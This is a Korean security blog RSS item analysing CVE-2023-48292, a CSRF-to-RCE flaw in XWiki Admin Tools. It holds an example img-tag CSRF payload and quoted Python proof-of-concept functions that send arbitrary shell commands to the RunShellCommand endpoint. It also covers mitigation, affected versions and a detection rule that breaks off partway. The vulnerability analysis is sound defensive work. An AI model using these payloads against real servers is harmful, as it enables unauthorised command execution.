<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0">
  <channel>
    <title>IT-log</title>
    <link>https://it-log.tistory.com/</link>
    <description>IT 공부</description>
    <language>ko</language>
    <pubDate>Fri, 10 Apr 2026 16:25:10 +0900</pubDate>
    <generator>TISTORY</generator>
    <ttl>100</ttl>
    <managingEditor>Security Engineer</managingEditor>
    <image>
      <title>IT-log</title>
      <url>https://tistory1.daumcdn.net/tistory/5462164/attach/95d5e003ea3c468789583e6df487d17a</url>
      <link>https://it-log.tistory.com</link>
    </image>
    <item>
      <title>XWiki Admin Tools Application에서 발생하는 CSRF를 통한 RCE 취약점(CVE-2023-48292)</title>
      <link>https://it-log.tistory.com/227</link>
      <description>&lt;div style=&quot;background-color: #ffffff; color: #000000; text-align: start;&quot;&gt;
&lt;h2 data-ke-size=&quot;size26&quot;&gt;&lt;b&gt;&lt;span style=&quot;color: #000000;&quot;&gt;XWiki Admin Tools Application&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;/span&gt;&lt;span style=&quot;color: #000000;&quot;&gt;이란&lt;span&gt;?&lt;/span&gt;&lt;/span&gt;&lt;/b&gt;&lt;/h2&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;color: #000000;&quot;&gt;-&amp;nbsp;XWiki&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;color: #000000;&quot;&gt;인스턴스를 관리하기 위한 다양한 도구를 제공하는 애플리케이션&lt;/span&gt;&lt;/p&gt;
&lt;/div&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;color: #000000;&quot;&gt;- Admin.RunShellComman&lt;/span&gt;&lt;span style=&quot;background-color: #ffffff; color: #000000; letter-spacing: 0px;&quot;&gt;d&lt;/span&gt;&lt;span style=&quot;color: #000000;&quot;&gt;는&amp;nbsp;XWiki Admin Tools Application&amp;nbsp;내의 특정 기능 페이지 중 하나로,&amp;nbsp;서버에서 쉘 명령어를 실행하는 기능을 담당&lt;/span&gt;&lt;/p&gt;
&lt;div style=&quot;background-color: #ffffff; color: #000000; text-align: start;&quot;&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;color: #000000;&quot;&gt;&amp;nbsp;&lt;/span&gt;&lt;/p&gt;
&lt;/div&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;div style=&quot;background-color: #ffffff; color: #000000; text-align: start;&quot;&gt;
&lt;h2 data-ke-size=&quot;size26&quot;&gt;&lt;b&gt;&lt;span style=&quot;color: #000000;&quot;&gt;CSRF(Cross-Site Request Forgery)&lt;/span&gt;&lt;span style=&quot;color: #000000;&quot;&gt;란&lt;span&gt;?&lt;/span&gt;&lt;/span&gt;&lt;/b&gt;&lt;/h2&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;color: #000000;&quot;&gt;-&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;letter-spacing: 0px;&quot;&gt;공격자가&amp;nbsp;&lt;span&gt;사용자가 신뢰하는 웹 애플리케이션에서 사용자의 권한을 도용하여 원하지 않는 요청을 실행시키는 취약점&lt;/span&gt;&lt;/span&gt;&lt;/p&gt;
&lt;/div&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;color: #000000;&quot;&gt;- &lt;/span&gt;&lt;span style=&quot;color: #000000;&quot;&gt;하기 취약점의 경우,&amp;nbsp;공격자가 악성&amp;nbsp;UR&lt;/span&gt;&lt;span style=&quot;background-color: #ffffff; color: #000000; letter-spacing: 0px;&quot;&gt;L&lt;/span&gt;&lt;span style=&quot;background-color: #ffffff; color: #000000; letter-spacing: 0px;&quot;&gt;을&amp;nbsp;&lt;span&gt;포함한 콘텐츠를 삽입하고,&amp;nbsp;관리자가 악성&amp;nbsp;URL이 포함된 콘텐츠 확인 시 공격 실행됨&lt;/span&gt;&lt;/span&gt;&lt;/p&gt;
&lt;div style=&quot;background-color: #ffffff; color: #000000; text-align: start;&quot;&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;color: #000000;&quot;&gt;&amp;nbsp;&lt;/span&gt;&lt;/p&gt;
&lt;/div&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;div style=&quot;background-color: #ffffff; color: #000000; text-align: start;&quot;&gt;
&lt;h2 data-ke-size=&quot;size26&quot;&gt;&lt;b&gt;&lt;span style=&quot;color: #000000;&quot;&gt;취약점 설명&lt;/span&gt;&lt;/b&gt;&lt;/h2&gt;
&lt;/div&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;color: #000000;&quot;&gt;XWiki Admin Tools Application&lt;/span&gt;&lt;span style=&quot;color: #000000;&quot;&gt;에&amp;nbsp;CSRF&amp;nbsp;보호를 위한 토큰 검증 로직이&amp;nbsp;누락되어 발생하는 취약점입니다.&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;color: #000000; background-color: #ffffff; letter-spacing: 0px;&quot;&gt;공격자는 관리자 권한으로 로그인된 사용자를 속여&lt;/span&gt;&lt;span style=&quot;color: #000000; background-color: #ffffff; letter-spacing: 0px;&quot;&gt;, Admin.RunShellCommand&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;color: #000000; background-color: #ffffff; letter-spacing: 0px;&quot;&gt;페이지로&lt;/span&gt;&lt;span style=&quot;color: #000000; background-color: #ffffff; letter-spacing: 0px;&quot;&gt;&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;color: #000000; background-color: #ffffff; letter-spacing: 0px;&quot;&gt;악의적인 요청을 유도할 수 있으며&lt;/span&gt;&lt;span style=&quot;color: #000000; background-color: #ffffff; letter-spacing: 0px;&quot;&gt;,&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;color: #000000; background-color: #ffffff; letter-spacing: 0px;&quot;&gt;이로 인해 사용자의 의도와 무관하게 서버에서 명령어가 실행될 수 있습니다&lt;/span&gt;&lt;span style=&quot;color: #000000; background-color: #ffffff; letter-spacing: 0px;&quot;&gt;.&lt;/span&gt;&lt;/p&gt;
&lt;div style=&quot;background-color: #ffffff; color: #000000; text-align: start;&quot;&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;color: #000000;&quot;&gt;&amp;nbsp;&lt;/span&gt;&lt;/p&gt;
&lt;/div&gt;
&lt;div style=&quot;background-color: #ffffff; color: #000000; text-align: start;&quot;&gt;
&lt;h2 data-ke-size=&quot;size26&quot;&gt;&lt;b&gt;&lt;span style=&quot;color: #000000;&quot;&gt;취약점 분석&lt;/span&gt;&lt;/b&gt;&lt;/h2&gt;
&lt;/div&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;color: #000000;&quot;&gt;Admin.RunShellCommand&lt;/span&gt;&lt;span style=&quot;color: #000000;&quot;&gt;는 관리자 전용 기능 페이지로,&amp;nbsp;서버에서 임의의 쉘 명령어를 실행할 수 있는 기능을 제공합니다.&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;color: #000000; background-color: #ffffff; letter-spacing: 0px;&quot;&gt;그러나 해당 기능은 요청에 대한&lt;/span&gt;&lt;span style=&quot;color: #000000; background-color: #ffffff; letter-spacing: 0px;&quot;&gt;&amp;nbsp;CSRF&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;color: #000000; background-color: #ffffff; letter-spacing: 0px;&quot;&gt;토큰 검증 로직이 없어&lt;/span&gt;&lt;span style=&quot;color: #000000; background-color: #ffffff; letter-spacing: 0px;&quot;&gt;,&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;color: #000000; background-color: #ffffff; letter-spacing: 0px;&quot;&gt;요청의 정당성을 확인하지 않습니다&lt;/span&gt;&lt;span style=&quot;color: #000000; background-color: #ffffff; letter-spacing: 0px;&quot;&gt;.&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;color: #000000;&quot;&gt;이로 인해 공격자는&amp;nbsp;&amp;lt;img src=&lt;/span&gt;&lt;span style=&quot;background-color: #ffffff; color: #000000; letter-spacing: 0px;&quot;&gt;&amp;rdquo;&lt;span&gt;...&lt;/span&gt;&amp;rdquo;&lt;span&gt;&amp;gt;&lt;/span&gt;&amp;nbsp;&lt;span&gt;와 같은&amp;nbsp;HTML&amp;nbsp;요소를 활용하여 악의적인 명령어가 포함된&amp;nbsp;URL을 위키 페이지나 댓글 등에 삽입할 수 있으며,&amp;nbsp;관리자가 해당 페이지&lt;/span&gt;&amp;nbsp;열람 시&lt;span&gt;&amp;nbsp;명령이 자동 실행됩니다.&lt;/span&gt;&lt;/span&gt;&lt;/p&gt;
&lt;div style=&quot;background-color: #ffffff; color: #000000; text-align: start;&quot;&gt;
&lt;div&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;color: #000000;&quot;&gt;&amp;nbsp;&lt;/span&gt;&lt;/p&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;div style=&quot;background-color: #ffffff; color: #000000; text-align: start;&quot;&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;color: #000000;&quot;&gt;[CSRF&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;color: #000000;&quot;&gt;공격 과정&lt;span&gt;]&lt;/span&gt;&lt;/span&gt;&lt;/p&gt;
&lt;/div&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;color: #000000;&quot;&gt;1) CSRF &lt;/span&gt;&lt;span style=&quot;color: #000000;&quot;&gt;트리거 요소 삽입(예:&amp;nbsp;댓글,&amp;nbsp;위키 페이지)&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;color: #000000;&quot;&gt;- &lt;/span&gt;&lt;span style=&quot;color: #000000;&quot;&gt;공격자는&amp;nbsp;&amp;lt;img&amp;gt;&amp;nbsp;태그와 같은&amp;nbsp;HTML&amp;nbsp;요소를 사용하여 관리자가 방문할 페이지에 악성 요청이 포함된&amp;nbsp;URL&amp;nbsp;삽입&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;color: #000000;&quot;&gt;- Admin.RunShellCommand &lt;/span&gt;&lt;span style=&quot;color: #000000;&quot;&gt;페이지를 호출하고&amp;nbsp;command&amp;nbsp;파라미터에 악성 명령어를 포함하는&amp;nbsp;URL&amp;nbsp;제작&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;color: #000000;&quot;&gt;- &lt;/span&gt;&lt;span style=&quot;color: #000000;&quot;&gt;예시: &amp;lt;img src=&quot;h&lt;/span&gt;&lt;span style=&quot;background-color: #ffffff; color: #000000; letter-spacing: 0px;&quot;&gt;xx&lt;span&gt;p&lt;/span&gt;s&lt;span&gt;://vulnerable-xwiki.com/xwiki/bin/view/Admin/RunShellCommand?command=touch%20/tmp/attacked&quot;&amp;gt;&lt;/span&gt;&lt;/span&gt;&lt;/p&gt;
&lt;div style=&quot;background-color: #ffffff; color: #000000; text-align: start;&quot;&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;color: #000000;&quot;&gt;2)&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;/span&gt;&lt;span style=&quot;color: #000000;&quot;&gt;관리자 권한을 가진 사용자가 페이지 열람&lt;/span&gt;&lt;/p&gt;
&lt;/div&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;color: #000000;&quot;&gt;- &lt;/span&gt;&lt;span style=&quot;color: #000000;&quot;&gt;관리자가 XWiki에 로그인한 상태에서 해당 URL이 포함된 페이지를 열람하면, 관리자의 브라우저는 추가 인증 없이(CSRF 토큰 없이) 서버에 요청을 보냅니다.&lt;/span&gt;&lt;/p&gt;
&lt;div style=&quot;background-color: #ffffff; color: #000000; text-align: start;&quot;&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;color: #000000;&quot;&gt;3)&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;/span&gt;&lt;span style=&quot;color: #000000;&quot;&gt;명령어 실행&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;color: #000000;&quot;&gt;-&amp;nbsp;XWiki&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;color: #000000;&quot;&gt;서버는 이 요청이 관리자로부터 온 것으로 판단하고&amp;nbsp;command&amp;nbsp;파라미터의 명령어를 실행합니다. (touch /tmp/attacked&amp;nbsp;명령어 실행&amp;nbsp;&amp;rarr;&amp;nbsp;서버의&amp;nbsp;/tmp&amp;nbsp;디렉터리에&amp;nbsp;attacked&amp;nbsp;파일이 생성됨)&lt;/span&gt;&lt;/p&gt;
&lt;/div&gt;
&lt;div style=&quot;background-color: #ffffff; color: #000000; text-align: start;&quot;&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;color: #000000;&quot;&gt;&amp;nbsp;&lt;/span&gt;&lt;/p&gt;
&lt;/div&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;div style=&quot;background-color: #ffffff; color: #000000; text-align: start;&quot;&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;color: #000000;&quot;&gt;[RCE&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;/span&gt;&lt;span style=&quot;color: #000000;&quot;&gt;공격 과정&lt;span&gt;]&lt;/span&gt;&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;letter-spacing: 0px;&quot;&gt;PoC(&lt;/span&gt;&lt;a style=&quot;letter-spacing: 0px;&quot; href=&quot;https://www.exploit-db.com/exploits/52105&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;https://www.exploit-db.com/exploits/52105&lt;/a&gt;&lt;span style=&quot;letter-spacing: 0px;&quot;&gt;)&lt;/span&gt;&lt;/p&gt;
&lt;/div&gt;
&lt;pre id=&quot;code_1755702590441&quot; class=&quot;python&quot; data-ke-language=&quot;python&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;def check_vulnerability(target_url, method):
    &quot;&quot;&quot;
    Check if the target URL is vulnerable to the CVE-2023-48292 vulnerability.
    We send a test payload and inspect the response to determine if the vulnerability exists.
    &quot;&quot;&quot;
    try:
        # Test payload to check for vulnerability
        test_payload = &quot;echo 'testtesttest1234'&quot;  # Payload to execute a test command on the target system
        vulnerable_url = f&quot;{target_url}/xwiki/bin/view/Admin/RunShellCommand?command={test_payload}&quot;

        if method == &quot;GET&quot;:
            response = get(vulnerable_url, headers=HEADERS)
        else:  # method == &quot;POST&quot;
            response = post(vulnerable_url, headers=HEADERS)

        if response.status_code == 200 and &quot;testtesttest1234&quot; in response.text:
            logging.info(&quot;Target is vulnerable! Command execution test succeeded.&quot;)
            return True
        else:
            logging.info(&quot;Target does not appear to be vulnerable.&quot;)
            return False
    except RequestException as error:
        logging.error(f&quot;HTTP Request Error: {error}&quot;)
        sys.exit(1)&lt;/code&gt;&lt;/pre&gt;
&lt;div style=&quot;background-color: #ffffff; color: #000000; text-align: start;&quot;&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;color: #000000;&quot;&gt;check_vulnerability():&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;/span&gt;&lt;span style=&quot;color: #000000;&quot;&gt;대상 서버의&lt;span&gt;&lt;span&gt;&amp;nbsp;&lt;/span&gt;Admin.RunShellCommand&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;/span&gt;기능이 실제 명령어를 실행하는지 확인하는 함수&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;color: #000000;&quot;&gt;- test_payload&lt;/span&gt;&lt;span style=&quot;color: #000000;&quot;&gt;로 echo 명령어를 사용하여 문자열(&quot;testtesttest1234&quot;)을 출력하도록 시도&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;color: #000000;&quot;&gt;-&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;color: #000000;&quot;&gt;이 요청은 직접 서버에 명령을 보내는 것이므로, 해당 요청이 성공하려면 관리자 권한의 세션이 있는 상태여야 함&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;color: #000000;&quot;&gt;-&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;color: #000000;&quot;&gt;응답에 &quot;testtesttest1234&quot; 문자열이 포함되어 있다면, 명령이 실제로 실행되었음을 의미하며, 이는 Admin.RunShellCommand 기능이 인증 없이 외부 요청을 처리한다는 취약점이 존재함을 의미&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;color: #000000;&quot;&gt;-&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;color: #000000;&quot;&gt;해당 방식은 CSRF 공격이 아닌, RCE 가능성 여부를 판단하기 위한 테스트&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;/div&gt;
&lt;div style=&quot;background-color: #ffffff; color: #000000; text-align: start;&quot;&gt;
&lt;pre id=&quot;code_1755702615585&quot; class=&quot;python&quot; data-ke-language=&quot;python&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;def perform_attack(target_url, payload, method):
    &quot;&quot;&quot;
    Perform the attack by sending a custom payload to the vulnerable server.
    &quot;&quot;&quot;
    try:
        logging.info(f&quot;Attempting attack with payload: {payload}&quot;)
        vulnerable_url = f&quot;{target_url}/xwiki/bin/view/Admin/RunShellCommand?command={payload}&quot;

        if method == &quot;GET&quot;:
            response = get(vulnerable_url, headers=HEADERS)
        else:  # method == &quot;POST&quot;
            response = post(vulnerable_url, headers=HEADERS)

        if response.status_code == 200:
            logging.info(f&quot;Attack successful! Response: {response.text[:100]}...&quot;)  # Display a snippet of the response
        else:
            logging.warning(&quot;Attack attempt failed.&quot;)
    except RequestException as error:
        logging.error(f&quot;HTTP Request Error: {error}&quot;)
        sys.exit(1)&lt;/code&gt;&lt;/pre&gt;
&lt;/div&gt;
&lt;div style=&quot;background-color: #ffffff; color: #000000; text-align: start;&quot;&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;color: #000000;&quot;&gt;perform_attack():&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;/span&gt;&lt;span style=&quot;color: #000000;&quot;&gt;공격자가 작성한 임의의 명령어&lt;span&gt;(payload)&lt;/span&gt;를 실행하여 명령 실행 결과를 확인하는 함수&lt;/span&gt;&lt;/p&gt;
&lt;/div&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;color: #000000;&quot;&gt;- &lt;/span&gt;&lt;span style=&quot;color: #000000;&quot;&gt;대상&amp;nbsp;URL에 명령을 포함하여 요청을 전송하며, 관리자 권한이 없는 경우 공격은 실패함&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;color: #000000;&quot;&gt;-&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;color: #000000;&quot;&gt;공격이 성공하면 응답 본문에서 명령어 실행 결과의 일부(최대 100자까지) 확인 가능&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;div style=&quot;background-color: #ffffff; color: #000000; text-align: start;&quot;&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;color: #000000;&quot;&gt;[PoC&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;/span&gt;&lt;span style=&quot;color: #000000;&quot;&gt;코드 실행 결과&lt;span&gt;]&lt;/span&gt;&lt;/span&gt;&lt;/p&gt;
&lt;/div&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;color: #000000;&quot;&gt;- XWiki&lt;/span&gt;&lt;span style=&quot;color: #000000;&quot;&gt;의&amp;nbsp;/Admin/RunShellCommand가 외부 요청을 통해 명령어를 실행하는지 여부를 점검(관리자&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;background-color: #ffffff; color: #000000; letter-spacing: 0px;&quot;&gt;세션&lt;span&gt;&amp;nbsp;필요)&lt;/span&gt;&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;color: #000000;&quot;&gt;- &lt;/span&gt;&lt;span style=&quot;color: #000000;&quot;&gt;관리자 세션이 있는 경우&amp;nbsp;Command&amp;nbsp;파라미터에 시스템 명령어 삽입을 통해 악성 명령어를 실행할 수 있음&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;div style=&quot;background-color: #ffffff; color: #000000; text-align: start;&quot;&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;color: #000000;&quot;&gt;[&lt;/span&gt;&lt;span style=&quot;color: #000000;&quot;&gt;결론&lt;span&gt;]&lt;br /&gt;-&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;/span&gt;본&lt;span&gt;&amp;nbsp;&lt;/span&gt;취약점은 공격자가 직접 서버와 통신하지 않고&lt;span&gt;,&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;/span&gt;관리자 세션을&lt;span&gt;&amp;nbsp;&lt;/span&gt;통해 악성 요청을 유도&lt;/span&gt;&lt;span&gt;하여&lt;span style=&quot;color: #000000;&quot;&gt;&lt;span&gt;&amp;nbsp;&lt;/span&gt;공격을 수행&lt;/span&gt;하는&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;color: #000000;&quot;&gt;CSRF&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;/span&gt;공격을 통한&lt;span style=&quot;color: #000000;&quot;&gt;&lt;span&gt;&amp;nbsp;&lt;/span&gt;RCE&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;/span&gt;&lt;span style=&quot;color: #000000;&quot;&gt;취약점&lt;/span&gt;&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;color: #000000;&quot;&gt;-&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;color: #000000;&quot;&gt;공격자는 악성&amp;nbsp;URL을 위키 페이지,&amp;nbsp;댓글 등에 삽입해 관리자가 이를 열람하도록 유도함&lt;/span&gt;&lt;/p&gt;
&lt;/div&gt;
&lt;p style=&quot;background-color: #ffffff; color: #000000; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;color: #000000;&quot;&gt;-&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;/span&gt;&lt;span style=&quot;color: #000000;&quot;&gt;명령어 실행은 서버 측의 취약한 엔드포인트&lt;span&gt;(/Admin/RunShellCommand)&lt;/span&gt;와 관리자 세션의 결합으로 가능하며&lt;span&gt;,&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;/span&gt;공격자는 이를&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;/span&gt;&lt;span&gt;통해 서버에서&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;color: #000000;&quot;&gt;명령을 실행함&lt;/span&gt;&lt;/span&gt;&lt;span&gt;&lt;span style=&quot;color: #000000;&quot;&gt;&lt;/span&gt;&lt;/span&gt;&lt;/p&gt;
&lt;p style=&quot;background-color: #ffffff; color: #000000; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;div style=&quot;background-color: #ffffff; color: #000000; text-align: start;&quot;&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;color: #000000;&quot;&gt;[&lt;/span&gt;&lt;span style=&quot;color: #000000;&quot;&gt;공격 영향&lt;span&gt;]&lt;/span&gt;&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;letter-spacing: 0px;&quot;&gt;공격자는 관리자 권한으로 서버에 대한 명령을 실행할 수 있으므로&lt;/span&gt;&lt;span style=&quot;letter-spacing: 0px;&quot;&gt;,&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;letter-spacing: 0px;&quot;&gt;시스템 정보 탈취&lt;/span&gt;&lt;span style=&quot;letter-spacing: 0px;&quot;&gt;,&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;letter-spacing: 0px;&quot;&gt;파일 삭제&lt;/span&gt;&lt;span style=&quot;letter-spacing: 0px;&quot;&gt;,&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;letter-spacing: 0px;&quot;&gt;백도어 설치 등 심각한 피해가 발생할 수 있음&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;/div&gt;
&lt;div style=&quot;background-color: #ffffff; color: #000000; text-align: start;&quot;&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;color: #000000;&quot;&gt;[&lt;/span&gt;&lt;span style=&quot;color: #000000;&quot;&gt;영향 받는 버전&lt;span&gt;]&lt;/span&gt;&lt;/span&gt;&lt;/p&gt;
&lt;/div&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;color: #000000; background-color: #ffffff; letter-spacing: 0px;&quot;&gt;취약 버전&lt;/span&gt;&lt;span style=&quot;color: #000000; background-color: #ffffff; letter-spacing: 0px;&quot;&gt;: 4.4&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;color: #000000; background-color: #ffffff; letter-spacing: 0px;&quot;&gt;이상&lt;/span&gt;&lt;span style=&quot;color: #000000; background-color: #ffffff; letter-spacing: 0px;&quot;&gt;&amp;nbsp;4.5.1&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;color: #000000; background-color: #ffffff; letter-spacing: 0px;&quot;&gt;미만&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;background-color: #ffffff; color: #000000; letter-spacing: 0px;&quot;&gt;완화 버전&lt;/span&gt;&lt;span style=&quot;background-color: #ffffff; color: #000000; letter-spacing: 0px;&quot;&gt;: 4.5.1&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;div style=&quot;background-color: #ffffff; color: #000000; text-align: start;&quot;&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;color: #000000;&quot;&gt;[&lt;/span&gt;&lt;span style=&quot;color: #000000;&quot;&gt;완화 방법&lt;span&gt;]&lt;/span&gt;&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;letter-spacing: 0px;&quot;&gt;패치 적용&lt;/span&gt;&lt;span style=&quot;letter-spacing: 0px;&quot;&gt;: 4.5.1&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;letter-spacing: 0px;&quot;&gt;이상 버전으로 업데이트&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;letter-spacing: 0px;&quot;&gt;수동 패치&lt;/span&gt;&lt;span style=&quot;letter-spacing: 0px;&quot;&gt;: Admin.RunShellCommand&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;letter-spacing: 0px;&quot;&gt;페이지를 사용하지 않는 경우 해당 페이지 삭제&lt;/span&gt;&lt;/p&gt;
&lt;/div&gt;
&lt;div style=&quot;background-color: #ffffff; color: #000000; text-align: start;&quot;&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;color: #000000;&quot;&gt;&amp;nbsp;&lt;/span&gt;&lt;/p&gt;
&lt;/div&gt;
&lt;div style=&quot;background-color: #ffffff; color: #000000; text-align: start;&quot;&gt;
&lt;h2 data-ke-size=&quot;size26&quot;&gt;&lt;b&gt;&lt;span style=&quot;color: #000000;&quot;&gt;탐지 패턴 예시&lt;/span&gt;&lt;/b&gt;&lt;/h2&gt;
&lt;/div&gt;
&lt;div style=&quot;background-color: #ffffff; color: #000000; text-align: start;&quot;&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;background-color: #ffffff; color: #353638; text-align: left;&quot;&gt;아래 탐지 패턴은 IPS,WAF 등 보안 솔루션에 따라 패턴이 일부 변경될 수 있음.&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;color: #000000;&quot;&gt;Admin/RunShellCommand&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;/span&gt;&lt;span style=&quot;color: #000000;&quot;&gt;경로에 대한 접근 탐지&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;letter-spacing: 0px;&quot;&gt;alert tcp any any -&amp;gt; $HOME_NET any (&lt;/span&gt;&lt;/p&gt;
&lt;/div&gt;
